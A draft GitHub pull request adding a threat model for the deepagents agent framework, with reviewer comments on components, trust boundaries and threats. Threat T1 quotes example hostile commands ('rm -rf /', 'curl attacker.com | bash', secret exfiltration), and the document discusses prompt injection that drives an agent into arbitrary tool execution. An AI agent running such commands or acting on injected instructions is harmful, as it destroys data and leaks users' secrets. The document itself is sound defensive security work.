Skip to content

docs: add threat model for deepagents monorepo#1639

Draft
John Kennedy (jkennedyvz) wants to merge 2 commits intomainfrom
add-threat-model
Draft

docs: add threat model for deepagents monorepo#1639
John Kennedy (jkennedyvz) wants to merge 2 commits intomainfrom
add-threat-model

Conversation

@jkennedyvz
Copy link
Contributor

Maps 9 components, 5 trust boundaries, 10 data flows, and 6 threats across the core SDK, CLI, ACP server, harbor harness, and sandbox integrations. Documents HITL as the primary security control and clarifies responsibility boundaries for an open source agent framework.

Maps 9 components, 5 trust boundaries, 10 data flows, and 6 threats
across the core SDK, CLI, ACP server, harbor harness, and sandbox
integrations. Documents HITL as the primary security control and
clarifies responsibility boundaries for an open source agent framework.

Co-Authored-By: Claude Opus 4.6 <[email protected]>
@github-actions github-actions bot added internal User is a member of the `langchain-ai` GitHub organization documentation Improvements or additions to documentation labels Mar 4, 2026

| ID | Component | Description | Trust Level | Entry Points |
|----|-----------|-------------|-------------|--------------|
| C1 | Core Agent Framework | `create_deep_agent()`, middleware orchestration, LangGraph state machine | framework-controlled | `graph.py:108` — `create_deep_agent()` |

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

one hidden thing here is persistence in langgraph checkpointers

| TB1 | Framework ↔ Host OS Shell | LLM-decided commands cross into unrestricted `subprocess.run(shell=True)` | Tool registration, HITL approval gates, timeout caps (`filesystem.py:889`), CLI shell allowlist validation (`config.py:856`) | The command string content (LLM-generated), host OS state, environment variables inherited by subprocess |
| TB2 | Framework ↔ External HTTP | Outbound HTTP requests to arbitrary URLs decided by the LLM | Tool registration, HITL approval for `fetch_url` (`agent.py:324`), timeout parameter (`tools.py:42`) | Target URL (LLM-chosen), response content, network topology, internal services reachable from the host |
| TB3 | Framework ↔ Cloud Sandbox | Commands and files sent to remote sandbox environments | Sandbox creation/teardown lifecycle (`sandbox_factory.py:68`), setup script execution, `shlex.quote()` for some paths | Sandbox isolation guarantees (delegated to Modal/Daytona/Runloop/LangSmith), sandbox-side filesystem, network access from within sandbox |
| TB4 | Framework ↔ User Code | User-provided tools, callbacks, model selection, system prompts, subagent definitions | Middleware execution order (`graph.py:271`), state isolation for subagents (`subagents.py:127`), skill name validation (`skills.py:208`) | User tool implementations, user-chosen LLM behavior, user prompt content |

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

framework <> agent code
framework/model <> user input

| TB4 | Framework ↔ User Code | User-provided tools, callbacks, model selection, system prompts, subagent definitions | Middleware execution order (`graph.py:271`), state isolation for subagents (`subagents.py:127`), skill name validation (`skills.py:208`) | User tool implementations, user-chosen LLM behavior, user prompt content |
| TB5 | Framework ↔ Local Filesystem | Agent file operations on the host filesystem | `validate_path()` blocks `..` and `~` (`backends/utils.py:234`), `virtual_mode` path confinement (`filesystem.py:135`), tool call ID sanitization (`backends/utils.py:30`) | File permissions (OS-level), filesystem content, symlink targets |

### Boundary Details

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i'd treat most of these as a separate class -- these mostly touch CLI. There's some overlap but we treat sdk + cli as two independent product stories atm

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a really important distinction I think, and also relevant to how we score CVSS.

For CVSS a library is meant to be scored in each category for "worst-case usage". Deepagents-cli as an implementation should be treated as a thing that is meant to be secure in "most cases".


---

## Threats

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  • context injection


| Pattern | Why Out of Scope | Project Responsibility Ends At |
|---------|-----------------|-------------------------------|
| Prompt injection leading to arbitrary tool execution | The project does not control model behavior, prompt construction, or the adversarial content the user exposes the agent to. The LLM decides which tools to call. | Providing HITL approval gates as the default security control (`agent.py:324`). The project cannot prevent the LLM from *requesting* a dangerous action — it can only gate execution. |

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oh lol I didn't read the whole way through first

why is this out of the threat model? I think depending on the environment it interplays with a lot of other components

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We don't restrict the models our developers can use, so we can't provide any guarantees around model accuracy or safety. We want to be clear about what is our responsibility, and where we have to accept some level of trust.


## Scope

### In Scope
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this link to SECURITY.md for information about bug bounties etc?

│ │
│ ┌──────────┐ ┌───────────────┐ ┌──────────────┐ │
│ │ CLI TUI │ │ ACP Server │ │ SDK (library) │ │
│ │ (C5) │──>│ (C8) │──>│ create_deep │ │
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think the CLI supports ACP yet?

│ └──────────┬─────────────┬───────────────┘ │
│ │ │ │
│ ┌──────────▼──┐ ┌──────▼──────────┐ ┌───────────────┐ │
│ │ Local Shell │ │ Sandbox Backends │ │ HTTP Tools │ │
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have other backends like store backend and state backend which interact with external storage.


## Components

| ID | Component | Description | Trust Level | Entry Points |
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IMO we should remove the entrypoints with the line numbers -- no way to keep these from drifting out of date

| C3 | Local Shell Backend | `LocalShellBackend` — `subprocess.run(shell=True)` on host OS | framework-controlled | `backends/local_shell.py:299` — `execute()` |
| C4 | Sub-Agent System | `SubAgentMiddleware`, `task` tool for delegating to child agents | framework-controlled | `middleware/subagents.py:374` — `_build_task_tool()` |
| C5 | CLI Terminal Interface | Textual TUI, non-interactive mode, stdin piping, slash commands | framework-controlled | `main.py:687` — `cli_main()`, `non_interactive.py:524` |
| C6 | HTTP Tools | `http_request()`, `fetch_url()`, `web_search()` — outbound HTTP from CLI | framework-controlled | `tools.py:35`, `tools.py:183`, `tools.py:104` |
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

http_request we'll remove in a bit

|----|-----------|-------------|-------------|--------------|
| C1 | Core Agent Framework | `create_deep_agent()`, middleware orchestration, LangGraph state machine | framework-controlled | `graph.py:108` — `create_deep_agent()` |
| C2 | Filesystem & Tool Framework | `FilesystemMiddleware` — `read_file`, `write_file`, `edit_file`, `ls`, `glob`, `grep`, `execute` tools | framework-controlled | `middleware/filesystem.py:873` — `_create_execute_tool()` |
| C3 | Local Shell Backend | `LocalShellBackend` — `subprocess.run(shell=True)` on host OS | framework-controlled | `backends/local_shell.py:299` — `execute()` |
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LocalShellBackend isn't enabled by default -- not sure if the diagram should show that it's user configured?

- **Flow**: DF1 (LLM → LocalShellBackend)
- **Description**: The LLM generates shell commands that are passed to `subprocess.run(command, shell=True)` (`local_shell.py:299`). A compromised or misbehaving LLM could execute destructive commands (`rm -rf /`, `curl attacker.com | bash`, exfiltrating secrets via network).
- **Preconditions**: HITL must be disabled or bypassed, OR the human reviewer must approve a malicious command.
- **Mitigations**: (1) HITL approval gate is default-on for `execute` tool (`agent.py:324`). (2) Non-interactive mode validates against `DANGEROUS_SHELL_PATTERNS` (`config.py:754-769`) blocking shell metacharacters. (3) Configurable allowlist via `DEEPAGENTS_SHELL_ALLOW_LIST` env var (`config.py:449`). (4) Timeout capped at 3600s (`filesystem.py:889`).
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The migration only exists in ACP. not in the SDK or in the CLI right now?

- **Mitigations**: HITL would catch explicit `env`/`printenv` commands. The CLI overrides `LANGSMITH_PROJECT` back to the user's value for shell commands (`agent.py:523-526`).
- **Residual risk**: Secrets are accessible to any subprocess command. This is by-design for developer tools (the user's shell has the same access).

#### T5: Path Traversal with `virtual_mode=False`
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

virtual mode wasn't really done for security purposes... but to allow working with composite backend

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

documentation Improvements or additions to documentation internal User is a member of the `langchain-ai` GitHub organization

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants